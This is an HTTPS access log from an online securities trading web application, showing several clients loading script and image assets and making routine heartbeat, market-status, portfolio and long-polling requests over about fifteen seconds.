[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767922847615 HTTP/1.1" 3188
[09/Jan/2026:09:36:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 124
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 293
[09/Jan/2026:09:36:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922860256 HTTP/1.1" -
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:36:16 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922845890 HTTP/1.1" -
[09/Jan/2026:09:36:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922846223 HTTP/1.1" -
[09/Jan/2026:09:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 223
[09/Jan/2026:09:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:09:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:09:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922850604 HTTP/1.1" -
[09/Jan/2026:09:36:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1544
[09/Jan/2026:09:36:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:36:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:36:19 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922848056 HTTP/1.1" -
[09/Jan/2026:09:36:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:36:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922865296 HTTP/1.1" -
[09/Jan/2026:09:36:21 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922850905 HTTP/1.1" -
[09/Jan/2026:09:36:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922851243 HTTP/1.1" -
[09/Jan/2026:09:36:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922855655 HTTP/1.1" -
[09/Jan/2026:09:36:25 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922854051 HTTP/1.1" -
[09/Jan/2026:09:36:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922870357 HTTP/1.1" -
[09/Jan/2026:09:36:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922855917 HTTP/1.1" -
[09/Jan/2026:09:36:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922856272 HTTP/1.1" -
[09/Jan/2026:09:36:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922860727 HTTP/1.1" -
[09/Jan/2026:09:36:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:36:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:36:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:36:30 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
